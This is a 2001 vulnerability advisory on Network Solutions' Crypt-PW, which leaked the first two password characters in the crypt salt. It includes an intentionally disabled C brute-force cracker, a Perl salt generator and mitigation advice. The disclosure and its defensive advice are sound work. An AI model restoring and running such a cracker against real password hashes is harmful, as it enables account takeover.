|
Vulnerability Crypt-PW Affected Network Solutions Crypt-PW Description Peter Ajamian found following. While crypt password authentication is not in and of itself very secure, Network Sulotions have made it even less so by including the first two characters of the password as the salt of the encrypted form. While the password is transmitted via a secure session, the encrypted form is returned almost immediately in a non-encrypted www session. Also, this password is typically emailed back and forth to the user no less than two times (and often times more). This allows several opportunities for someone to observe the encrypted password, this in and of itself is not good. Discovering the original password from the encrypted form is made magnitudes easier by the inclusion of the first two characters of the password in the salt (proof of concept code follows at the end of this message). Using the proof of concept code I was able to derive my own six character password in less than one minute on an old Pentium 200 MMX computer. A new 1ghz computer could easily crank out 6 char passwords in mere seconds, 8 char passwords in a few hours, and a 10 char password probably in a week to a month or better. So far we have established the relative ease of obtaining the encrypted form of the password and ease of converting that encryption back to the original password. The rest should be horrifyingly clear. Proof of concept code (purposefully broken): /* * This is for cracking Network Solutions passwords. This assumes the * following... * 1. The salt is the first two chars of the password (this is the * standard gotcha for Network Solutions usage of crypt()). * 2. If the first character of the salt is lowercase than the password * is all lowercase * 3. If the first character of the salt is uppercase ... well you get * the idea. * 4. If the first character of the salt a digit ... * 5. There are no symbols in the password. * 6. The password is between three and ten characters in length. * * These are a lot of assumptions to make, but this is just proof of * concept code. It is assumed that if the password uses a dictionary * word then knowledge of the first two letters (which Network Solutions * places right in the salt) will greatly speed up the process of * cracking. This code does not use a dictionary, but code is widely * available which does and could easily be modified to take advantage * of the two character "head start" that Network Solutions gives you. * * This program and all code contained herein is copyright 2001 by Peter * Ajamian. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <ctype.h> /* Crypt function needs to be prototyped, a wierd behavior of the library */ char *crypt(const char *key, const char *salt); /* * PWDCHECK() compares a plain-text password to its encrypted form. * it returns 0 if the passwords match and non-zero if the passwords * do not match. * * plain = The plain-text password. * encr = The encrypted password. */ /* !FIXME! */ #define PWDCHECK(plain,encr) (1) /* * These are globals for greater efficiency. Because chkpass is called * recursively it is not very worthwhile to be making multiple copies of * these and passing them millions of times all over the place. This * should save a large amount of CPU time. */ char *c_pass, pass[11], lbound, rbound; int len; void chkpass(int current) { /* * Yes, this generates an extra copy of c, but considering how much it's * referenced it should probably be kept in a CPU register and should save * CPU cycles this way (here's hoping that the register keyword works). */ register char c; if (current >= len) for (c = lbound; c <= rbound; c++) { pass[current] = c; if (!PWDCHECK(pass, c_pass)) { printf("Found password: %s\n", pass); exit(EXIT_SUCCESS); } } else for (c = lbound; c <= rbound; c++){ pass[current] = c; chkpass(current + 1); } } int main(int argc, char **argv) { if (argc != 2) { puts("Usage: pwdtest crypt-pass\n"); return EXIT_FAILURE; } argv++; strncpy(pass, *argv, 2); if (isdigit(*pass)) { lbound = '0'; rbound = '9'; } else if (islower(*pass)) { lbound = 'a'; rbound = 'z'; } else if (isupper(*pass)) { lbound = 'A'; rbound = 'Z'; } else { puts("First char of passwd must be alphnumeric.\n"); return EXIT_FAILURE; } c_pass = *argv; for (len = 2; len < 10; len++) { pass[len + 1] = 0; chkpass(2); } puts("Unable to find a password match.\n"); return EXIT_FAILURE; } Note that we are facing the same (?) problems as we had in past: http://oliver.efri.hr/~crv/security/bugs/Others/crypt-pw.html For those interested here is perl program to generate Crypt-PW's with a propper salt. #!/usr/bin/perl $salt=salt(); print "password encryptee, [CTRL]-D quits.\n"; while (<STDIN>) { chop; $text=crypt($_,$salt); print $text."\n"; } sub salt { local($salt); local($i, $rand); local(@itoa64) = ( 0 .. 9, a .. z, A .. Z ); # 0 .. 63 # to64 for ($i = 0; $i < 8; $i++) { srand(time + $rand + $$); $rand = rand(25*29*17 + $rand); $salt .= $itoa64[$rand & $#itoa64]; } return $salt; } Solution Network Solutions was notified of the problem on May 17, 2001 and they are looking into the severity of the problem as well as possible solutions. If you must use CRYPT-PW then the following suggestions are recommended: - Password should be at least 10 characters in length (Pointless, as the algorithm will only look at 8 characters.) - The password should contain a combination of upper and lower case as well as numbers and preferably some other symbols. - Do not use any dictionary words, proper names, or other easily recognizable character sequences or forms of them in your password. - The first two characters of your password should be _completely_ unrelated to the rest of the password and should not provide any hints as to what the balance of the password may be. - If you have access to and know how to use your own crypt generating program you should be able to substitute your own encryption for that provided by Network Solutions on the form. If you can do this it is recommended that you use a random salt to generate your password or at least one that is unrelated to the password itself (not tested to see if Network Solutions would accept such a substitution of passwords on thier form but the method by which the scheme is implemented suggests that it should work) (note if you try this you may have to convince Network Solutions phone reps to try the password even though the first two characters don't match when you give the password over the phone). There are some additional concerns about their Crypt-PW solution according to Jan Kohl: 1) Even though Crypt-PW is supposedly a replacement for MAIL-TO, you still must have a valid email address to use Crypt-PW...so what IS the point of having Crypt-PW? (Especially as it's not secure) 2) If you do NOT have a valid email address (i.e. dropped account, ect) NS emails the completed forms (with the entire Auth password) to the address anyway. If, especially in the case of some ISPs, they have 'reused' the login after an extended amount of time, they've just emailed someone else your encrypted password for your domain. If not, it's going to go into the admin no-relay logs, leaving it open to abuse by someone with access to the mail host. And, not to leave out Peter's mention of the fact that they are sending the cleartext mail (with the password) where anyone can view it. Workarounds...do NOT use Crypt-PW as an authentication, and insure that you change your domain records *before* losing the account, as Crypt-PW will not allow you to access or change records if you do not still own the email address.